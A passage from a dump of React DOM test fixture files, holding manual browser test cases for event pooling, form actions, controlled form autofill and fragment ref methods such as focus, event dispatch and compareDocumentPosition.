    "content": "import TestCase from '../../TestCase';\nimport HitBox from './hit-box';\n\nconst React = window.React;\n\nclass MouseMove extends React.Component {\n  state = {\n    events: [],\n  };\n\n  checkEvent = event => {\n    let {events} = this.state;\n\n    if (event.type === 'mousemove' && events.indexOf(event) === -1) {\n      this.setState({events: events.concat(event)});\n    }\n  };\n\n  render() {\n    const {events} = this.state;\n\n    return (\n      <TestCase title=\"Mouse Move\" description=\"\">\n        <TestCase.Steps>\n          <li>Mouse over the box below</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          Mousemove should share the same instance of the event between\n          dispatches.\n        </TestCase.ExpectedResult>\n\n        <HitBox onMouseMove={this.checkEvent} />\n\n        <p>\n          Was the event pooled?{' '}\n          <b>\n            {events.length ? (events.length <= 1 ? 'Yes' : 'No') : 'Unsure'} (\n            {events.length} events)\n          </b>\n        </p>\n      </TestCase>\n    );\n  }\n}\n\nexport default MouseMove;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/event-pooling/persistence.js",
    "content": "import TestCase from '../../TestCase';\nimport HitBox from './hit-box';\n\nconst React = window.React;\n\nclass Persistence extends React.Component {\n  state = {\n    persisted: 0,\n    pooled: [],\n  };\n\n  addPersisted = event => {\n    let {persisted, pooled} = this.state;\n\n    event.persist();\n\n    if (event.type === 'mousemove') {\n      this.setState({\n        persisted: persisted + 1,\n        pooled: pooled.filter(e => e !== event),\n      });\n    }\n  };\n\n  addPooled = event => {\n    let {pooled} = this.state;\n\n    if (event.type === 'mousemove' && pooled.indexOf(event) === -1) {\n      this.setState({pooled: pooled.concat(event)});\n    }\n  };\n\n  render() {\n    const {pooled, persisted} = this.state;\n\n    return (\n      <TestCase title=\"Persistence\" description=\"\">\n        <TestCase.Steps>\n          <li>Mouse over the pooled event box</li>\n          <li>Mouse over the persisted event box</li>\n        </TestCase.Steps>\n\n        <TestCase.ExpectedResult>\n          The pool size should not increase above 1, but reduce to 0 when\n          hovering over the persisted region.\n        </TestCase.ExpectedResult>\n\n        <h2>Add Pooled Event:</h2>\n        <HitBox onMouseMove={this.addPooled} />\n\n        <h2>Add Persisted Event:</h2>\n        <HitBox onMouseMove={this.addPersisted} />\n\n        <p>Pool size: {pooled.length}</p>\n\n        <p>Persisted size: {persisted}</p>\n      </TestCase>\n    );\n  }\n}\n\nexport default Persistence;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/form-actions/index.js",
    "content": "const React = window.React;\n\nconst {useState} = React;\n\nasync function defer(timeoutMS) {\n  return new Promise(resolve => {\n    setTimeout(resolve, timeoutMS);\n  });\n}\n\nexport default function FormActions() {\n  const [textValue, setTextValue] = useState('0');\n  const [radioValue, setRadioValue] = useState('two');\n  const [checkboxValue, setCheckboxValue] = useState([false, true, true]);\n  const [selectValue, setSelectValue] = useState('three');\n\n  return (\n    <form\n      action={async () => {\n        await defer(500);\n      }}\n      onReset={() => {\n        setTextValue('0');\n        setRadioValue('two');\n        setCheckboxValue([false, true, true]);\n        setSelectValue('three');\n      }}>\n      <div style={{display: 'flex'}}>\n        <fieldset style={{flexBasis: 0}}>\n          <legend>type=\"text\"</legend>\n          <input\n            type=\"text\"\n            name=\"text\"\n            value={textValue}\n            onChange={event => setTextValue(event.currentTarget.value)}\n          />\n        </fieldset>\n        <fieldset style={{flexBasis: 0}}>\n          <legend>type=\"radio\"</legend>\n          <input\n            type=\"radio\"\n            name=\"radio\"\n            value=\"one\"\n            checked={radioValue === 'one'}\n            onChange={() => setRadioValue('one')}\n          />\n          <input\n            type=\"radio\"\n            name=\"radio\"\n            value=\"two\"\n            checked={radioValue === 'two'}\n            onChange={() => setRadioValue('two')}\n          />\n          <input\n            type=\"radio\"\n            name=\"radio\"\n            value=\"three\"\n            checked={radioValue === 'three'}\n            onChange={() => setRadioValue('three')}\n          />\n        </fieldset>\n        <fieldset style={{flexBasis: 0}}>\n          <legend>type=\"checkbox\"</legend>\n          <input\n            type=\"checkbox\"\n            name=\"checkbox\"\n            value=\"one\"\n            checked={checkboxValue[0]}\n            onChange={event => {\n              const checked = event.currentTarget.checked;\n              setCheckboxValue(pending => [checked, pending[1], pending[2]]);\n            }}\n          />\n          <input\n            type=\"checkbox\"\n            name=\"checkbox\"\n            value=\"two\"\n            checked={checkboxValue[1]}\n            onChange={event => {\n              const checked = event.currentTarget.checked;\n              setCheckboxValue(pending => [pending[0], checked, pending[2]]);\n            }}\n          />\n          <input\n            type=\"checkbox\"\n            name=\"checkbox\"\n            value=\"three\"\n            checked={checkboxValue[2]}\n            onChange={event => {\n              const checked = event.currentTarget.checked;\n              setCheckboxValue(pending => [pending[0], pending[1], checked]);\n            }}\n          />\n        </fieldset>\n        <fieldset style={{flexBasis: 0}}>\n          <legend>select</legend>\n          <select\n            name=\"select\"\n            value={selectValue}\n            onChange={event => setSelectValue(event.currentTarget.value)}>\n            <option value=\"one\">one</option>\n            <option value=\"two\">two</option>\n            <option value=\"three\">three</option>\n          </select>\n        </fieldset>\n      </div>\n      <div>\n        <input type=\"reset\" />\n        <input type=\"submit\" />\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/form-state/ControlledFormFixture.js",
    "content": "import Fixture from '../../Fixture';\nconst React = window.React;\n\nclass ControlledFormFixture extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {name: '', email: ''};\n\n    this.handleEmailChange = this.handleEmailChange.bind(this);\n    this.handleNameChange = this.handleNameChange.bind(this);\n  }\n\n  handleEmailChange(event) {\n    this.setState({email: event.target.value});\n  }\n\n  handleNameChange(event) {\n    this.setState({name: event.target.value});\n  }\n\n  render() {\n    return (\n      <Fixture>\n        <form>\n          <label>\n            Name:\n            <input\n              type=\"text\"\n              value={this.state.name}\n              onChange={this.handleNameChange}\n              name=\"name\"\n              x-autocompletetype=\"name\"\n            />\n          </label>\n          <br />\n          <label>\n            Email:\n            <input\n              type=\"text\"\n              value={this.state.email}\n              onChange={this.handleEmailChange}\n              name=\"email\"\n              x-autocompletetype=\"email\"\n            />\n          </label>\n        </form>\n        <br />\n        <div>\n          <span>States</span>\n          <br />\n          <span>Name: {this.state.name}</span>\n          <br />\n          <span>Email: {this.state.email}</span>\n        </div>\n      </Fixture>\n    );\n  }\n}\n\nexport default ControlledFormFixture;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/form-state/index.js",
    "content": "import FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\nimport ControlledFormFixture from './ControlledFormFixture';\nconst React = window.React;\n\nexport default class FormStateCases extends React.Component {\n  render() {\n    return (\n      <FixtureSet title=\"Form State\">\n        <TestCase\n          title=\"Form state autofills from browser\"\n          description=\"Form start should autofill/autocomplete if user has autocomplete/autofill information saved. The user may need to set-up autofill or autocomplete with their specific browser.\">\n          <TestCase.Steps>\n            <li>\n              Set up autofill/autocomplete for your browser.\n              <br />\n              Instructions:\n              <ul>\n                <li>\n                  <SafeLink\n                    href=\"https://support.google.com/chrome/answer/142893?co=GENIE.Platform%3DDesktop&hl=en\"\n                    text=\"Google Chrome\"\n                  />\n                </li>\n                <li>\n                  <SafeLink\n                    href=\"https://support.mozilla.org/en-US/kb/autofill-logins-firefox\"\n                    text=\"Mozilla FireFox\"\n                  />\n                </li>\n                <li>\n                  <SafeLink\n                    href=\"https://support.microsoft.com/en-us/help/4027718/microsoft-edge-automatically-fill-info\"\n                    text=\"Microsoft Edge\"\n                  />\n                </li>\n              </ul>\n            </li>\n            <li>Click into any input.</li>\n            <li>Select any autofill option.</li>\n          </TestCase.Steps>\n          <TestCase.ExpectedResult>\n            Autofill options should appear when clicking into fields. Selected\n            autofill options should change state (shown underneath, under\n            \"States\").\n          </TestCase.ExpectedResult>\n          <ControlledFormFixture />\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n}\n\nconst SafeLink = ({text, href}) => {\n  return (\n    <a target=\"_blank\" rel=\"noreferrer\" href={href}>\n      {text}\n    </a>\n  );\n};\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/CompareDocumentPositionCase.js",
    "content": "import TestCase from '../../TestCase';\nimport Fixture from '../../Fixture';\nimport CompareDocumentPositionFragmentContainer from './CompareDocumentPositionFragmentContainer';\n\nconst React = window.React;\n\nexport default function CompareDocumentPositionCase() {\n  return (\n    <TestCase title=\"compareDocumentPosition\">\n      <TestCase.Steps>\n        <li>Click the \"Compare All Positions\" button</li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        The compareDocumentPosition method compares the position of the fragment\n        relative to other elements in the DOM. The \"Before Element\" should be\n        PRECEDING the fragment, and the \"After Element\" should be FOLLOWING.\n        Elements inside the fragment should be CONTAINED_BY.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <CompareDocumentPositionFragmentContainer>\n            <div\n              style={{\n                padding: '10px',\n                backgroundColor: 'lightblue',\n                borderRadius: '4px',\n                marginBottom: '8px',\n              }}>\n              First child element\n            </div>\n            <div\n              style={{\n                padding: '10px',\n                backgroundColor: 'lightgreen',\n                borderRadius: '4px',\n                marginBottom: '8px',\n              }}>\n              Second child element\n            </div>\n            <div\n              style={{\n                padding: '10px',\n                backgroundColor: 'lightpink',\n                borderRadius: '4px',\n              }}>\n              Third child element\n            </div>\n          </CompareDocumentPositionFragmentContainer>\n        </Fixture.Controls>\n      </Fixture>\n    </TestCase>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/CompareDocumentPositionFragmentContainer.js",
    "content": "const React = window.React;\nconst {Fragment, useRef, useState} = React;\n\nconst POSITION_FLAGS = {\n  DISCONNECTED: 0x01,\n  PRECEDING: 0x02,\n  FOLLOWING: 0x04,\n  CONTAINS: 0x08,\n  CONTAINED_BY: 0x10,\n  IMPLEMENTATION_SPECIFIC: 0x20,\n};\n\nfunction getPositionDescription(bitmask) {\n  const flags = [];\n  if (bitmask & POSITION_FLAGS.DISCONNECTED) flags.push('DISCONNECTED');\n  if (bitmask & POSITION_FLAGS.PRECEDING) flags.push('PRECEDING');\n  if (bitmask & POSITION_FLAGS.FOLLOWING) flags.push('FOLLOWING');\n  if (bitmask & POSITION_FLAGS.CONTAINS) flags.push('CONTAINS');\n  if (bitmask & POSITION_FLAGS.CONTAINED_BY) flags.push('CONTAINED_BY');\n  if (bitmask & POSITION_FLAGS.IMPLEMENTATION_SPECIFIC)\n    flags.push('IMPLEMENTATION_SPECIFIC');\n  return flags.length > 0 ? flags.join(' | ') : 'SAME';\n}\n\nfunction ResultRow({label, result, color}) {\n  if (!result) return null;\n\n  return (\n    <div\n      style={{\n        padding: '10px 14px',\n        marginBottom: '8px',\n        backgroundColor: '#f8f9fa',\n        borderLeft: `4px solid ${color}`,\n        borderRadius: '4px',\n      }}>\n      <div\n        style={{\n          fontWeight: 'bold',\n          marginBottom: '6px',\n          color: '#333',\n        }}>\n        {label}\n      </div>\n      <div\n        style={{\n          display: 'grid',\n          gridTemplateColumns: 'auto 1fr',\n          gap: '4px 12px',\n          fontSize: '13px',\n          fontFamily: 'monospace',\n        }}>\n        <span style={{color: '#666'}}>Raw value:</span>\n        <span style={{color: '#333'}}>{result.raw}</span>\n        <span style={{color: '#666'}}>Flags:</span>\n        <span style={{color: color, fontWeight: 500}}>\n          {getPositionDescription(result.raw)}\n        </span>\n      </div>\n    </div>\n  );\n}\n\nexport default function CompareDocumentPositionFragmentContainer({children}) {\n  const fragmentRef = useRef(null);\n  const beforeRef = useRef(null);\n  const afterRef = useRef(null);\n  const insideRef = useRef(null);\n  const [results, setResults] = useState(null);\n\n  const compareAll = () => {\n    const fragment = fragmentRef.current;\n    const beforePos = fragment.compareDocumentPosition(beforeRef.current);\n    const afterPos = fragment.compareDocumentPosition(afterRef.current);\n    const insidePos = insideRef.current\n      ? fragment.compareDocumentPosition(insideRef.current)\n      : null;\n\n    setResults({\n      before: {raw: beforePos},\n      after: {raw: afterPos},\n      inside: insidePos !== null ? {raw: insidePos} : null,\n    });\n  };\n\n  return (\n    <Fragment>\n      <div style={{marginBottom: '16px'}}>\n        <button\n          onClick={compareAll}\n          style={{\n            padding: '8px 16px',\n            fontSize: '14px',\n            fontWeight: 'bold',\n            cursor: 'pointer',\n          }}>\n          Compare All Positions\n        </button>\n        {results && (\n          <span style={{marginLeft: '12px', color: '#666'}}>\n            Comparison complete\n          </span>\n        )}\n      </div>\n\n      <div style={{display: 'flex', gap: '24px'}}>\n        <div style={{flex: '0 0 300px'}}>\n          <div\n            style={{\n              padding: '16px',\n              backgroundColor: '#f0f0f0',\n              borderRadius: '8px',\n            }}>\n            <div\n              ref={beforeRef}\n              style={{\n                padding: '12px',\n                backgroundColor: '#d4edda',\n                border: '2px solid #28a745',\n                borderRadius: '4px',\n                marginBottom: '12px',\n                textAlign: 'center',\n                fontWeight: 'bold',\n                color: '#155724',\n              }}>\n              Before Element\n            </div>\n\n            <div\n              style={{\n                padding: '12px',\n                backgroundColor: '#fff3cd',\n                border: '2px dashed #ffc107',\n                borderRadius: '4px',\n                marginBottom: '12px',\n              }}>\n              <div\n                style={{\n                  fontSize: '11px',\n                  color: '#856404',\n                  marginBottom: '8px',\n                  fontWeight: 'bold',\n                }}>\n                FRAGMENT\n              </div>\n              <div ref={insideRef}>\n                <Fragment ref={fragmentRef}>{children}</Fragment>\n              </div>\n            </div>\n\n            <div\n              ref={afterRef}\n              style={{\n                padding: '12px',\n                backgroundColor: '#f8d7da',\n                border: '2px solid #dc3545',\n                borderRadius: '4px',\n                textAlign: 'center',\n                fontWeight: 'bold',\n                color: '#721c24',\n              }}>\n              After Element\n            </div>\n          </div>\n        </div>\n\n        <div style={{flex: 1}}>\n          <div\n            style={{\n              fontSize: '14px',\n              fontWeight: 'bold',\n              marginBottom: '12px',\n              color: '#333',\n            }}>\n            Comparison Results\n          </div>\n\n          {!results && (\n            <div\n              style={{\n                padding: '20px',\n                backgroundColor: '#f8f9fa',\n                borderRadius: '4px',\n                color: '#666',\n                textAlign: 'center',\n              }}>\n              Click \"Compare All Positions\" to see results\n            </div>\n          )}\n\n          {results && (\n            <Fragment>\n              <ResultRow\n                label='vs \"Before Element\"'\n                result={results.before}\n                color=\"#28a745\"\n              />\n              <ResultRow\n                label='vs \"After Element\"'\n                result={results.after}\n                color=\"#dc3545\"\n              />\n              {results.inside && (\n                <ResultRow\n                  label='vs \"Inside Element\"'\n                  result={results.inside}\n                  color=\"#ffc107\"\n                />\n              )}\n\n              <div\n                style={{\n                  marginTop: '16px',\n                  padding: '12px',\n                  backgroundColor: '#e7f3ff',\n                  borderRadius: '4px',\n                  fontSize: '12px',\n                  color: '#0c5460',\n                }}>\n                <strong>Flag Reference:</strong>\n                <div\n                  style={{\n                    marginTop: '8px',\n                    display: 'grid',\n                    gridTemplateColumns: 'auto 1fr',\n                    gap: '2px 12px',\n                  }}>\n                  <code>0x01</code>\n                  <span>DISCONNECTED</span>\n                  <code>0x02</code>\n                  <span>PRECEDING (other is before fragment)</span>\n                  <code>0x04</code>\n                  <span>FOLLOWING (other is after fragment)</span>\n                  <code>0x08</code>\n                  <span>CONTAINS (other contains fragment)</span>\n                  <code>0x10</code>\n                  <span>CONTAINED_BY (other is inside fragment)</span>\n                </div>\n              </div>\n            </Fragment>\n          )}\n        </div>\n      </div>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/EventDispatchCase.js",
    "content": "import TestCase from '../../TestCase';\nimport Fixture from '../../Fixture';\n\nconst React = window.React;\nconst {Fragment, useRef, useState} = React;\n\nfunction WrapperComponent(props) {\n  return props.children;\n}\n\nconst initialState = {\n  child: false,\n  parent: false,\n  grandparent: false,\n};\n\nexport default function EventListenerCase() {\n  const fragmentRef = useRef(null);\n  const [clickedState, setClickedState] = useState({...initialState});\n  const [fragmentEventFired, setFragmentEventFired] = useState(false);\n  const [bubblesState, setBubblesState] = useState(true);\n\n  function setClick(id) {\n    setClickedState(prev => ({...prev, [id]: true}));\n  }\n\n  function fragmentClickHandler(e) {\n    setFragmentEventFired(true);\n  }\n\n  return (\n    <TestCase title=\"Event Dispatch\">\n      <TestCase.Steps>\n        <li>\n          Each box has regular click handlers, you can click each one to observe\n          the status changing through standard bubbling.\n        </li>\n        <li>Clear the clicked state</li>\n        <li>\n          Click the \"Dispatch click event\" button to dispatch a click event on\n          the Fragment. The event will be dispatched on the Fragment's parent,\n          so the child will not change state.\n        </li>\n        <li>\n          Click the \"Add event listener\" button to add a click event listener on\n          the Fragment. This registers a handler that will turn the child blue\n          on click.\n        </li>\n        <li>\n          Now click the \"Dispatch click event\" button again. You can see that it\n          will fire the Fragment's event handler in addition to bubbling the\n          click from the parent.\n        </li>\n        <li>\n          If you turn off bubbling, only the Fragment's event handler will be\n          called.\n        </li>\n      </TestCase.Steps>\n\n      <TestCase.ExpectedResult>\n        <p>\n          Dispatching an event on a Fragment will forward the dispatch to its\n          parent for the standard case. You can observe when dispatching that\n          the parent handler is called in additional to bubbling from there. A\n          delay is added to make the bubbling more clear.{' '}\n        </p>\n        <p>\n          When there have been event handlers added to the Fragment, the\n          Fragment's event handler will be called in addition to bubbling from\n          the parent. Without bubbling, only the Fragment's event handler will\n          be called.\n        </p>\n      </TestCase.ExpectedResult>\n\n      <Fixture>\n        <Fixture.Controls>\n          <select\n            value={bubblesState ? 'true' : 'false'}\n            onChange={e => {\n              setBubblesState(e.target.value === 'true');\n            }}>\n            <option value=\"true\">Bubbles: true</option>\n            <option value=\"false\">Bubbles: false</option>\n          </select>\n          <button\n            onClick={() => {\n              fragmentRef.current.dispatchEvent(\n                new MouseEvent('click', {bubbles: bubblesState})\n              );\n            }}>\n            Dispatch click event\n          </button>\n          <button\n            onClick={() => {\n              setClickedState({...initialState});\n              setFragmentEventFired(false);\n            }}>\n            Reset clicked state\n          </button>\n          <button\n            onClick={() => {\n              fragmentRef.current.addEventListener(\n                'click',\n                fragmentClickHandler\n              );\n            }}>\n            Add event listener\n          </button>\n          <button\n            onClick={() => {\n              fragmentRef.current.removeEventListener(\n                'click',\n                fragmentClickHandler\n              );\n            }}>\n            Remove event listener\n          </button>\n        </Fixture.Controls>\n        <div\n          id=\"grandparent\"\n          onClick={e => {\n            setTimeout(() => {\n              setClick('grandparent');\n            }, 200);\n          }}\n          className=\"card\">\n          Fragment grandparent - clicked:{' '}\n          {clickedState.grandparent ? 'true' : 'false'}\n          <div\n            id=\"parent\"\n            onClick={e => {\n              setTimeout(() => {\n                setClick('parent');\n              }, 100);\n            }}\n            className=\"card\">\n            Fragment parent - clicked: {clickedState.parent ? 'true' : 'false'}\n            <Fragment ref={fragmentRef}>\n              <div\n                style={{\n                  backgroundColor: fragmentEventFired ? 'lightblue' : 'inherit',\n                }}\n                id=\"child\"\n                className=\"card\"\n                onClick={e => {\n                  setClick('child');\n                }}>\n                Fragment child - clicked:{' '}\n                {clickedState.child ? 'true' : 'false'}\n              </div>\n            </Fragment>\n          </div>\n        </div>\n      </Fixture>\n    </TestCase>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/EventFragmentContainer.js",
    "content": "const React = window.React;\nconst {Fragment, useRef, useState} = React;\n\nexport default function EventFragmentContainer({children}) {\n  const fragmentRef = useRef(null);\n  const [eventLog, setEventLog] = useState([]);\n  const [listenerAdded, setListenerAdded] = useState(false);\n  const [bubblesState, setBubblesState] = useState(true);\n\n  const logEvent = message => {\n    setEventLog(prev => [...prev, message]);\n  };\n\n  const fragmentClickHandler = () => {\n    logEvent('Fragment event listener fired');\n  };\n\n  const addListener = () => {\n    fragmentRef.current.addEventListener('click', fragmentClickHandler);\n    setListenerAdded(true);\n    logEvent('Added click listener to fragment');\n  };\n\n  const removeListener = () => {\n    fragmentRef.current.removeEventListener('click', fragmentClickHandler);\n    setListenerAdded(false);\n    logEvent('Removed click listener from fragment');\n  };\n\n  const dispatchClick = () => {\n    fragmentRef.current.dispatchEvent(\n      new MouseEvent('click', {bubbles: bubblesState})\n    );\n    logEvent(`Dispatched click event (bubbles: ${bubblesState})`);\n  };\n\n  const clearLog = () => {\n    setEventLog([]);\n  };\n\n  return (\n    <Fragment>\n      <div\n        style={{\n          marginBottom: '16px',\n          display: 'flex',\n          gap: '8px',\n          flexWrap: 'wrap',\n          alignItems: 'center',\n        }}>\n        <select\n          value={bubblesState ? 'true' : 'false'}\n          onChange={e => setBubblesState(e.target.value === 'true')}\n          style={{padding: '6px 10px'}}>\n          <option value=\"true\">Bubbles: true</option>\n          <option value=\"false\">Bubbles: false</option>\n        </select>\n        <button onClick={dispatchClick} style={{padding: '6px 12px'}}>\n          Dispatch click event\n        </button>\n        <button\n          onClick={addListener}\n          disabled={listenerAdded}\n          style={{padding: '6px 12px'}}>\n          Add event listener\n        </button>\n        <button\n          onClick={removeListener}\n          disabled={!listenerAdded}\n          style={{padding: '6px 12px'}}>\n          Remove event listener\n        </button>\n        <button onClick={clearLog} style={{padding: '6px 12px'}}>\n          Clear log\n        </button>\n      </div>\n\n      <div\n        onClick={() => logEvent('Parent div clicked')}\n        style={{\n          padding: '12px',\n          border: '1px dashed #ccc',\n          borderRadius: '4px',\n          backgroundColor: '#fff',\n        }}>\n        <Fragment ref={fragmentRef}>{children}</Fragment>\n      </div>\n\n      {eventLog.length > 0 && (\n        <div\n          style={{\n            marginTop: '12px',\n            padding: '10px',\n            backgroundColor: '#f5f5f5',\n            border: '1px solid #ddd',\n            borderRadius: '4px',\n            maxHeight: '150px',\n            overflow: 'auto',\n            fontFamily: 'monospace',\n            fontSize: '13px',\n          }}>\n          <strong>Event Log:</strong>\n          <ul style={{margin: '5px 0', paddingLeft: '20px'}}>\n            {eventLog.map((msg, i) => (\n              <li key={i}>{msg}</li>\n            ))}\n          </ul>\n        </div>\n      )}\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/EventListenerCase.js",
    "content": "import TestCase from '../../TestCase';\nimport Fixture from '../../Fixture';\nimport EventFragmentContainer from './EventFragmentContainer';\n\nconst React = window.React;\nconst {useState} = React;\n\nfunction WrapperComponent(props) {\n  return props.children;\n}\n\nexport default function EventListenerCase() {\n  const [extraChildCount, setExtraChildCount] = useState(0);\n\n  return (\n    <TestCase title=\"Event Registration\">\n      <TestCase.Steps>\n        <li>\n          Click \"Add event listener\" to attach a click handler to the fragment\n        </li>\n        <li>Click \"Dispatch click event\" to dispatch a click event</li>\n        <li>Observe the event log showing the event fired</li>\n        <li>Add a new child, dispatch again to see it still works</li>\n        <li>\n          Click \"Remove event listener\" and dispatch again to see no event fires\n        </li>\n      </TestCase.Steps>\n\n      <TestCase.ExpectedResult>\n        <p>\n          Fragment refs can manage event listeners on the first level of host\n          children. The event log shows when events are dispatched and handled.\n        </p>\n        <p>\n          New child nodes will also have event listeners applied. Removed nodes\n          will have their listeners cleaned up.\n        </p>\n      </TestCase.ExpectedResult>\n\n      <Fixture>\n        <Fixture.Controls>\n          <div style={{marginBottom: '10px'}}>\n            Target count: {extraChildCount + 3}\n            <button\n              onClick={() => {\n                setExtraChildCount(prev => prev + 1);\n              }}\n              style={{marginLeft: '10px'}}>\n              Add Child\n            </button>\n          </div>\n          <EventFragmentContainer>\n            <div className=\"card\" id=\"child-a\">\n              Child A\n            </div>\n            <div className=\"card\" id=\"child-b\">\n              Child B\n            </div>\n            <WrapperComponent>\n              <div className=\"card\" id=\"child-c\">\n                Child C\n              </div>\n              {Array.from({length: extraChildCount}).map((_, index) => (\n                <div className=\"card\" id={'extra-child-' + index} key={index}>\n                  Extra Child {index}\n                </div>\n              ))}\n            </WrapperComponent>\n          </EventFragmentContainer>\n        </Fixture.Controls>\n      </Fixture>\n    </TestCase>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/FocusCase.js",
    "content": "import TestCase from '../../TestCase';\nimport Fixture from '../../Fixture';\n\nconst React = window.React;\n\nconst {Fragment, useRef} = React;\n\nexport default function FocusCase() {\n  const fragmentRef = useRef(null);\n\n  return (\n    <TestCase title=\"Focus Management\">\n      <TestCase.Steps>\n        <li>Click to focus the first child</li>\n        <li>Click to focus the last child</li>\n        <li>Click to blur any focus within the fragment</li>\n      </TestCase.Steps>\n\n      <TestCase.ExpectedResult>\n        <p>\n          The focus method will focus the first focusable child within the\n          fragment, skipping any unfocusable children.\n        </p>\n        <p>\n          The focusLast method is the reverse, focusing the last focusable\n          child.\n        </p>\n        <p>\n          Blur will call blur on the document, only if one of the children\n          within the fragment is the active element.\n        </p>\n      </TestCase.ExpectedResult>\n\n      <Fixture>\n        <Fixture.Controls>\n          <button onClick={() => fragmentRef.current.focus()}>\n            Focus first child\n          </button>\n          <button onClick={() => fragmentRef.current.focusLast()}>\n            Focus last child\n          </button>\n          <button onClick={() => fragmentRef.current.blur()}>Blur</button>\n        </Fixture.Controls>\n        <div className=\"highlight-focused-children\" style={{display: 'flex'}}>\n          <Fragment ref={fragmentRef}>\n            <div style={{outline: '1px solid black'}}>\n              <p>Unfocusable div</p>\n            </div>\n            <div style={{outline: '1px solid black'}}>\n              <p>Unfocusable div with nested focusable button</p>\n              <button>Button 1</button>\n            </div>\n            <button>Button 2</button>\n            <input type=\"text\" placeholder=\"Input field\" />\n            <div style={{outline: '1px solid black'}}>\n              <p>Unfocusable div</p>\n            </div>\n          </Fragment>\n        </div>\n      </Fixture>\n    </TestCase>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/GetClientRectsCase.js",
    "content": "import TestCase from '../../TestCase';\nimport Fixture from '../../Fixture';\nimport PrintRectsFragmentContainer from './PrintRectsFragmentContainer';\n\nconst React = window.React;\n\nexport default function GetClientRectsCase() {\n  return (\n    <TestCase title=\"getClientRects\">\n      <TestCase.Steps>\n        <li>\n          Click the \"Print Rects\" button to get the client rects of the\n          elements.\n        </li>\n      </TestCase.Steps>\n      <TestCase.ExpectedResult>\n        Calling getClientRects on the fragment instance will return a list of a\n        DOMRectList for each child node.\n      </TestCase.ExpectedResult>\n      <Fixture>\n        <Fixture.Controls>\n          <PrintRectsFragmentContainer>\n            <span\n              style={{\n                width: '300px',\n                height: '250px',\n                backgroundColor: 'lightblue',\n                fontSize: 20,\n                border: '1px solid black',\n                marginBottom: '10px',\n              }}>\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do\n              eiusmod tempor incididunt ut labore et dolore magna aliqua.\n            </span>\n            <div\n              style={{\n                width: '150px',\n                height: '100px',\n                backgroundColor: 'lightgreen',\n                border: '1px solid black',\n              }}></div>\n            <div\n              style={{\n                width: '500px',\n                height: '50px',\n                backgroundColor: 'lightpink',\n                border: '1px solid black',\n              }}></div>\n          </PrintRectsFragmentContainer>\n        </Fixture.Controls>\n      </Fixture>\n    </TestCase>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/GetRootNodeFragmentContainer.js",
    "content": "const React = window.React;\nconst {Fragment, useRef, useState} = React;\n\nexport default function GetRootNodeFragmentContainer({children}) {\n  const fragmentRef = useRef(null);\n  const [rootNodeInfo, setRootNodeInfo] = useState(null);\n\n  const getRootNodeInfo = () => {\n    const rootNode = fragmentRef.current.getRootNode();\n    setRootNodeInfo({\n      nodeName: rootNode.nodeName,\n      nodeType: rootNode.nodeType,\n      nodeTypeLabel: getNodeTypeLabel(rootNode.nodeType),\n      isDocument: rootNode === document,\n    });\n  };\n\n  const getNodeTypeLabel = nodeType => {\n    const types = {\n      1: 'ELEMENT_NODE',\n      3: 'TEXT_NODE',\n      9: 'DOCUMENT_NODE',\n      11: 'DOCUMENT_FRAGMENT_NODE',\n    };\n    return types[nodeType] || `UNKNOWN (${nodeType})`;\n  };\n\n  return (\n    <Fragment>\n      <div style={{marginBottom: '16px'}}>\n        <button\n          onClick={getRootNodeInfo}\n          style={{\n            padding: '8px 16px',\n            fontSize: '14px',\n            fontWeight: 'bold',\n            cursor: 'pointer',\n          }}>\n          Get Root Node\n        </button>\n      </div>\n\n      {rootNodeInfo && (\n        <div\n          style={{\n            marginBottom: '16px',\n            padding: '12px',\n            backgroundColor: '#e8f4e8',\n            border: '1px solid #9c9',\n            borderRadius: '4px',\n            fontFamily: 'monospace',\n            fontSize: '13px',\n          }}>\n          <div style={{marginBottom: '4px'}}>\n            <strong>Node Name:</strong> {rootNodeInfo.nodeName}\n          </div>\n          <div style={{marginBottom: '4px'}}>\n            <strong>Node Type:</strong> {rootNodeInfo.nodeType} (\n            {rootNodeInfo.nodeTypeLabel})\n          </div>\n          <div>\n            <strong>Is Document:</strong>{' '}\n            {rootNodeInfo.isDocument ? 'Yes' : 'No'}\n          </div>\n        </div>\n      )}\n\n      <div\n        style={{\n          padding: '12px',\n          border: '1px dashed #ccc',\n          borderRadius: '4px',\n          backgroundColor: '#fff',\n        }}>\n        <Fragment ref={fragmentRef}>{children}</Fragment>\n      </div>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/fragment-refs/IntersectionObserverCase.js",
